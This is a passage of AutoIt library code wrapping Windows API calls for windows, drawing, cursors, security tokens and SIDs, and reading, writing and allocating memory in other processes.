- Return $aresult[0]
- EndFunc
- Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread)
- Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "ptr", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
- If @error Then Return SetError(@error, @extended, False)
- $iread = $aresult[5]
- Return $aresult[0]
- EndFunc
- Func _winapi_rectisempty(ByRef $trect)
- Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0)
- EndFunc
- Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5)
- Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "struct*", $trect, "handle", $hregion, "uint", $iflags)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_registerwindowmessage($smessage)
- Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_releasecapture()
- Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture")
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_releasedc($hwnd, $hdc)
- Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_screentoclient($hwnd, ByRef $tpoint)
- Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_selectobject($hdc, $hgdiobj)
- Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_setbkcolor($hdc, $icolor)
- Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "dword", $icolor)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _winapi_setbkmode($hdc, $ibkmode)
- Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_setcapture($hwnd)
- Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_setcursor($hcursor)
- Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_setdefaultprinter($sprinter)
- Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_setdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbmi, $icoloruse = 0)
- Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbmi, "uint", $icoloruse)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_setendoffile($hfile)
- Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_setevent($hevent)
- Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0)
- Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _winapi_setfocus($hwnd)
- Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_setfont($hwnd, $hfont, $fredraw = True)
- _sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $fredraw, 0, "hwnd")
- EndFunc
- Func _winapi_sethandleinformation($hobject, $imask, $iflags)
- Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_setlayeredwindowattributes($hwnd, $i_transcolor, $transparency = 255, $dwflags = 3, $iscolorref = False)
- If $dwflags = Default OR $dwflags = "" OR $dwflags < 0 Then $dwflags = 3
- If NOT $iscolorref Then
- $i_transcolor = Int(BinaryMid($i_transcolor, 3, 1) & BinaryMid($i_transcolor, 2, 1) & BinaryMid($i_transcolor, 1, 1))
- EndIf
- Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "dword", $i_transcolor, "byte", $transparency, "dword", $dwflags)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_setparent($hwndchild, $hwndparent)
- Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_setprocessaffinitymask($hprocess, $imask)
- Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_setsyscolors($velements, $vcolors)
- Local $isearray = IsArray($velements), $iscarray = IsArray($vcolors)
- Local $ielementnum
- If NOT $iscarray AND NOT $isearray Then
- $ielementnum = 1
- ElseIf $iscarray OR $isearray Then
- If NOT $iscarray OR NOT $isearray Then Return SetError(-1, -1, False)
- If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False)
- $ielementnum = UBound($velements)
- EndIf
- Local $telements = DllStructCreate("int Element[" & $ielementnum & "]")
- Local $tcolors = DllStructCreate("dword NewColor[" & $ielementnum & "]")
- If NOT $isearray Then
- DllStructSetData($telements, "Element", $velements, 1)
- Else
- For $x = 0 To $ielementnum - 1
- DllStructSetData($telements, "Element", $velements[$x], $x + 1)
- Next
- EndIf
- If NOT $iscarray Then
- DllStructSetData($tcolors, "NewColor", $vcolors, 1)
- Else
- For $x = 0 To $ielementnum - 1
- DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1)
- Next
- EndIf
- Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "struct*", $telements, "struct*", $tcolors)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_settextcolor($hdc, $icolor)
- Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "dword", $icolor)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _winapi_setwindowlong($hwnd, $iindex, $ivalue)
- _winapi_setlasterror(0)
- Local $sfuncname = "SetWindowLongW"
- If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW"
- Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_setwindowplacement($hwnd, $pwindowplacement)
- Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags)
- Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True)
- Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_setwindowshookex($idhook, $lpfn, $hmod, $dwthreadid = 0)
- Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $lpfn, "handle", $hmod, "dword", $dwthreadid)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_setwindowtext($hwnd, $stext)
- Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_showcursor($fshow)
- Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $fshow)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_showerror($stext, $fexit = True)
- _winapi_msgbox(266256, "Error", $stext)
- If $fexit Then Exit
- EndFunc
- Func _winapi_showmsg($stext)
- _winapi_msgbox(64 + 4096, "Information", $stext)
- EndFunc
- Func _winapi_showwindow($hwnd, $icmdshow = 5)
- Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_stringfromguid($pguid)
- Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $pguid, "wstr", "", "int", 40)
- If @error Then Return SetError(@error, @extended, "")
- Return SetExtended($aresult[0], $aresult[2])
- EndFunc
- Func _winapi_stringlena($vstring)
- Local $acall = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $vstring)
- If @error Then Return SetError(1, @extended, 0)
- Return $acall[0]
- EndFunc
- Func _winapi_stringlenw($vstring)
- Local $acall = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $vstring)
- If @error Then Return SetError(1, @extended, 0)
- Return $acall[0]
- EndFunc
- Func _winapi_sublangid($lgid)
- Return BitShift($lgid, 10)
- EndFunc
- Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0)
- Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_twipsperpixelx()
- Local $lngdc, $twipsperpixelx
- $lngdc = _winapi_getdc(0)
- $twipsperpixelx = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsx)
- _winapi_releasedc(0, $lngdc)
- Return $twipsperpixelx
- EndFunc
- Func _winapi_twipsperpixely()
- Local $lngdc, $twipsperpixely
- $lngdc = _winapi_getdc(0)
- $twipsperpixely = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsy)
- _winapi_releasedc(0, $lngdc)
- Return $twipsperpixely
- EndFunc
- Func _winapi_unhookwindowshookex($hhk)
- Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_updatelayeredwindow($hwnd, $hdcdest, $pptdest, $psize, $hdcsrce, $pptsrce, $irgb, $pblend, $iflags)
- Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdcdest, "ptr", $pptdest, "ptr", $psize, "handle", $hdcsrce, "ptr", $pptsrce, "dword", $irgb, "ptr", $pblend, "dword", $iflags)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_updatewindow($hwnd)
- Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_waitforinputidle($hprocess, $itimeout = -1)
- Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_waitformultipleobjects($icount, $phandles, $fwaitall = False, $itimeout = -1)
- Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "ptr", $phandles, "bool", $fwaitall, "dword", $itimeout)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _winapi_waitforsingleobject($hhandle, $itimeout = -1)
- Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True)
- Local $sunicodetype = "wstr"
- If NOT IsString($punicode) Then $sunicodetype = "struct*"
- Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
- If @error Then Return SetError(@error, @extended, "")
- Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
- $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
- If @error Then Return SetError(@error, @extended, "")
- If $bretstring Then Return DllStructGetData($tmultibyte, 1)
- Return $tmultibyte
- EndFunc
- Func _winapi_windowfrompoint(ByRef $tpoint)
- Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "struct", $tpoint)
- If @error Then Return SetError(1, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_writeconsole($hconsole, $stext)
- Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $poverlapped = 0)
- Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itowrite, "dword*", 0, "ptr", $poverlapped)
- If @error Then Return SetError(@error, @extended, False)
- $iwritten = $aresult[4]
- Return $aresult[0]
- EndFunc
- Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr")
- Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
- If @error Then Return SetError(@error, @extended, False)
- $iwritten = $aresult[5]
- Return $aresult[0]
- EndFunc
- Func _security__adjusttokenprivileges($htoken, $fdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0)
- Local $acall = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $fdisableall, "struct*", $pnewstate, "dword", $ibufferlen, "struct*", $pprevstate, "struct*", $prequired)
- If @error Then Return SetError(1, @extended, False)
- Return NOT ($acall[0] = 0)
- EndFunc
- Func _security__createprocesswithtoken($htoken, $ilogonflags, $scommandline, $icreationflags, $scurdir, $tstartupinfo, $tprocess_information)
- Local $acall = DllCall("advapi32.dll", "bool", "CreateProcessWithTokenW", "handle", $htoken, "dword", $ilogonflags, "ptr", 0, "wstr", $scommandline, "dword", $icreationflags, "struct*", 0, "wstr", $scurdir, "struct*", $tstartupinfo, "struct*", $tprocess_information)
- If @error OR NOT $acall[0] Then Return SetError(1, @extended, False)
- Return True
- EndFunc
- Func _security__duplicatetokenex($hexistingtoken, $idesiredaccess, $iimpersonationlevel, $itokentype)
- Local $acall = DllCall("advapi32.dll", "bool", "DuplicateTokenEx", "handle", $hexistingtoken, "dword", $idesiredaccess, "struct*", 0, "int", $iimpersonationlevel, "int", $itokentype, "handle*", 0)
- If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
- Return $acall[6]
- EndFunc
- Func _security__getaccountsid($saccount, $ssystem = "")
- Local $aacct = _security__lookupaccountname($saccount, $ssystem)
- If @error Then Return SetError(@error, @extended, 0)
- If IsArray($aacct) Then Return _security__stringsidtosid($aacct[0])
- Return ""
- EndFunc
- Func _security__getlengthsid($psid)
- If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0)
- Local $acall = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $psid)
- If @error Then Return SetError(2, @extended, 0)
- Return $acall[0]
- EndFunc
- Func _security__gettokeninformation($htoken, $iclass)
- Local $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", 0, "dword", 0, "dword*", 0)
- If @error OR NOT $acall[5] Then Return SetError(1, @extended, 0)
- Local $ilen = $acall[5]
- Local $tbuffer = DllStructCreate("byte[" & $ilen & "]")
- $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", $tbuffer, "dword", DllStructGetSize($tbuffer), "dword*", 0)
- If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
- Return $tbuffer
- EndFunc
- Func _security__impersonateself($ilevel = $securityimpersonation)
- Local $acall = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel)
- If @error Then Return SetError(1, @extended, False)
- Return NOT ($acall[0] = 0)
- EndFunc
- Func _security__isvalidsid($psid)
- Local $acall = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $psid)
- If @error Then Return SetError(1, @extended, False)
- Return NOT ($acall[0] = 0)
- EndFunc
- Func _security__lookupaccountname($saccount, $ssystem = "")
- Local $tdata = DllStructCreate("byte SID[256]")
- Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "struct*", $tdata, "dword*", DllStructGetSize($tdata), "wstr", "", "dword*", DllStructGetSize($tdata), "int*", 0)
- If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
- Local $aacct[3]
- $aacct[0] = _security__sidtostringsid(DllStructGetPtr($tdata, "SID"))
- $aacct[1] = $acall[5]
- $aacct[2] = $acall[7]
- Return $aacct
- EndFunc
- Func _security__lookupaccountsid($vsid, $ssystem = "")
- Local $psid, $aacct[3]
- If IsString($vsid) Then
- $psid = _security__stringsidtosid($vsid)
- Else
- $psid = $vsid
- EndIf
- If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0)
- Local $typesystem = "ptr"
- If $ssystem Then $typesystem = "wstr"
- Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountSidW", $typesystem, $ssystem, "struct*", $psid, "wstr", "", "dword*", 65536, "wstr", "", "dword*", 65536, "int*", 0)
- If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
- Local $aacct[3]
- $aacct[0] = $acall[3]
- $aacct[1] = $acall[5]
- $aacct[2] = $acall[7]
- Return $aacct
- EndFunc
- Func _security__lookupprivilegevalue($ssystem, $sname)
- Local $acall = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0)
- If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
- Return $acall[3]
- EndFunc
- Func _security__openprocesstoken($hprocess, $iaccess)
- Local $acall = DllCall("advapi32.dll", "bool", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "handle*", 0)
- If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
- Return $acall[3]
- EndFunc
- Func _security__openthreadtoken($iaccess, $hthread = 0, $fopenasself = False)
- If $hthread = 0 Then $hthread = _winapi_getcurrentthread()
- If @error Then Return SetError(1, @extended, 0)
- Local $acall = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread, "dword", $iaccess, "bool", $fopenasself, "handle*", 0)
- If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
- Return $acall[4]
- EndFunc
- Func _security__openthreadtokenex($iaccess, $hthread = 0, $fopenasself = False)
- Local $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
- If $htoken = 0 Then
- If _winapi_getlasterror() <> $error_no_token Then Return SetError(3, _winapi_getlasterror(), 0)
- If NOT _security__impersonateself() Then Return SetError(1, _winapi_getlasterror(), 0)
- $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
- If $htoken = 0 Then Return SetError(2, _winapi_getlasterror(), 0)
- EndIf
- Return $htoken
- EndFunc
- Func _security__setprivilege($htoken, $sprivilege, $fenable)
- Local $iluid = _security__lookupprivilegevalue("", $sprivilege)
- If $iluid = 0 Then Return SetError(1, @extended, False)
- Local $tcurrstate = DllStructCreate($tagtoken_privileges)
- Local $icurrstate = DllStructGetSize($tcurrstate)
- Local $tprevstate = DllStructCreate($tagtoken_privileges)
- Local $iprevstate = DllStructGetSize($tprevstate)
- Local $trequired = DllStructCreate("int Data")
- DllStructSetData($tcurrstate, "Count", 1)
- DllStructSetData($tcurrstate, "LUID", $iluid)
- If NOT _security__adjusttokenprivileges($htoken, False, $tcurrstate, $icurrstate, $tprevstate, $trequired) Then Return SetError(2, @error, False)
- DllStructSetData($tprevstate, "Count", 1)
- DllStructSetData($tprevstate, "LUID", $iluid)
- Local $iattributes = DllStructGetData($tprevstate, "Attributes")
- If $fenable Then
- $iattributes = BitOR($iattributes, $se_privilege_enabled)
- Else
- $iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled))
- EndIf
- DllStructSetData($tprevstate, "Attributes", $iattributes)
- If NOT _security__adjusttokenprivileges($htoken, False, $tprevstate, $iprevstate, $tcurrstate, $trequired) Then Return SetError(3, @error, False)
- Return True
- EndFunc
- Func _security__settokeninformation($htoken, $itokeninformation, $vtokeninformation, $itokeninformationlength)
- Local $acall = DllCall("advapi32.dll", "bool", "SetTokenInformation", "handle", $htoken, "int", $itokeninformation, "struct*", $vtokeninformation, "dword", $itokeninformationlength)
- If @error OR NOT $acall[0] Then Return SetError(1, @extended, False)
- Return True
- EndFunc
- Func _security__sidtostringsid($psid)
- If NOT _security__isvalidsid($psid) Then Return SetError(1, 0, "")
- Local $acall = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $psid, "ptr*", 0)
- If @error OR NOT $acall[0] Then Return SetError(2, @extended, "")
- Local $pstringsid = $acall[2]
- Local $ssid = DllStructGetData(DllStructCreate("wchar Text[" & _winapi_stringlenw($pstringsid) + 1 & "]", $pstringsid), "Text")
- _winapi_localfree($pstringsid)
- Return $ssid
- EndFunc
- Func _security__sidtypestr($itype)
- Switch $itype
- Case $sidtypeuser
- Return "User"
- Case $sidtypegroup
- Return "Group"
- Case $sidtypedomain
- Return "Domain"
- Case $sidtypealias
- Return "Alias"
- Case $sidtypewellknowngroup
- Return "Well Known Group"
- Case $sidtypedeletedaccount
- Return "Deleted Account"
- Case $sidtypeinvalid
- Return "Invalid"
- Case $sidtypeunknown
- Return "Unknown Type"
- Case $sidtypecomputer
- Return "Computer"
- Case $sidtypelabel
- Return "A mandatory integrity label SID"
- Case Else
- Return "Unknown SID Type"
- EndSwitch
- EndFunc
- Func _security__stringsidtosid($ssid)
- Local $acall = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0)
- If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
- Local $psid = $acall[2]
- Local $tbuffer = DllStructCreate("byte Data[" & _security__getlengthsid($psid) & "]", $psid)
- Local $tsid = DllStructCreate("byte Data[" & DllStructGetSize($tbuffer) & "]")
- DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data"))
- _winapi_localfree($psid)
- Return $tsid
- EndFunc
- Global Const $tagmemmap = "handle hProc;ulong_ptr Size;ptr Mem"
- Func _memfree(ByRef $tmemmap)
- Local $pmemory = DllStructGetData($tmemmap, "Mem")
- Local $hprocess = DllStructGetData($tmemmap, "hProc")
- Local $bresult = _memvirtualfreeex($hprocess, $pmemory, 0, $mem_release)
- DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hprocess)
- If @error Then Return SetError(@error, @extended, False)
- Return $bresult
- EndFunc
- Func _memglobalalloc($ibytes, $iflags = 0)
- Local $aresult = DllCall("kernel32.dll", "handle", "GlobalAlloc", "uint", $iflags, "ulong_ptr", $ibytes)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _memglobalfree($hmem)
- Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalFree", "handle", $hmem)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _memgloballock($hmem)
- Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle", $hmem)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _memglobalsize($hmem)
- Local $aresult = DllCall("kernel32.dll", "ulong_ptr", "GlobalSize", "handle", $hmem)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _memglobalunlock($hmem)
- Local $aresult = DllCall("kernel32.dll", "bool", "GlobalUnlock", "handle", $hmem)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _meminit($hwnd, $isize, ByRef $tmemmap)
- Local $aresult = DllCall("User32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
- If @error Then Return SetError(@error, @extended, 0)
- Local $iprocessid = $aresult[2]
- If $iprocessid = 0 Then Return SetError(1, 0, 0)
- Local $iaccess = BitOR($process_vm_operation, $process_vm_read, $process_vm_write)
- Local $hprocess = __mem_openprocess($iaccess, False, $iprocessid, True)
- Local $ialloc = BitOR($mem_reserve, $mem_commit)
- Local $pmemory = _memvirtualallocex($hprocess, 0, $isize, $ialloc, $page_readwrite)
- If $pmemory = 0 Then Return SetError(2, 0, 0)
- $tmemmap = DllStructCreate($tagmemmap)
- DllStructSetData($tmemmap, "hProc", $hprocess)
- DllStructSetData($tmemmap, "Size", $isize)
- DllStructSetData($tmemmap, "Mem", $pmemory)
- Return $pmemory
- EndFunc
- Func _memmovememory($psource, $pdest, $ilength)
- DllCall("kernel32.dll", "none", "RtlMoveMemory", "struct*", $pdest, "struct*", $psource, "ulong_ptr", $ilength)
- If @error Then Return SetError(@error, @extended)
- EndFunc
- Func _memread(ByRef $tmemmap, $psrce, $pdest, $isize)
- Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", DllStructGetData($tmemmap, "hProc"), "ptr", $psrce, "struct*", $pdest, "ulong_ptr", $isize, "ulong_ptr*", 0)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _memwrite(ByRef $tmemmap, $psrce, $pdest = 0, $isize = 0, $ssrce = "struct*")
- If $pdest = 0 Then $pdest = DllStructGetData($tmemmap, "Mem")
- If $isize = 0 Then $isize = DllStructGetData($tmemmap, "Size")
- Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", DllStructGetData($tmemmap, "hProc"), "ptr", $pdest, $ssrce, $psrce, "ulong_ptr", $isize, "ulong_ptr*", 0)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _memvirtualalloc($paddress, $isize, $iallocation, $iprotect)
- Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _memvirtualallocex($hprocess, $paddress, $isize, $iallocation, $iprotect)
- Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _memvirtualfree($paddress, $isize, $ifreetype)
- Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFree", "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _memvirtualfreeex($hprocess, $paddress, $isize, $ifreetype)
- Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFreeEx", "handle", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func __mem_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
- Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
- If @error Then Return SetError(@error, @extended, 0)
- If $aresult[0] Then Return $aresult[0]
- If NOT $fdebugpriv Then Return 0
- Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
- If @error Then Return SetError(@error, @extended, 0)
